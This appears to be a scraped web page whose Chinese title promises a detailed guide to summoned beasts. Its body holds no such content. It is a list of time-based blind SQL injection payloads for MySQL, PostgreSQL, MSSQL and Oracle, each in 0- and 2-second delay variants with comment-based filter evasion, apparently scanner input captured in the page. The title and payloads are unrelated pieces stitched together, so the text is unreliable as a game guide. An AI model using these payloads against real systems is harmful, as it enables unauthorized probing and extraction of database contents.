图鉴在手，召唤兽随便选——召唤兽详细图鉴

(select*from(select+sleep(2)union/**/select+1)a)

20'and(select*from(select+sleep(0))a/**/union/**/select+1)='

20'and(select*from(select+sleep(2))a/**/union/**/select+1)='

20"and(select*from(select+sleep(0))a/**/union/**/select+1)="

20"and(select*from(select+sleep(2))a/**/union/**/select+1)="

20/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

20/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

20'/**/and(select'1'from/**/pg_sleep(0))>'0

20'/**/and(select'1'from/**/pg_sleep(2))>'0

20/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

20/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

20'and(select+1)>0waitfor/**/delay'0:0:0

20'and(select+1)>0waitfor/**/delay'0:0:2

20/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('u',0)

20/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('f',2)

20'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('u',0)='u

20'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('i',2)='i

20

20

20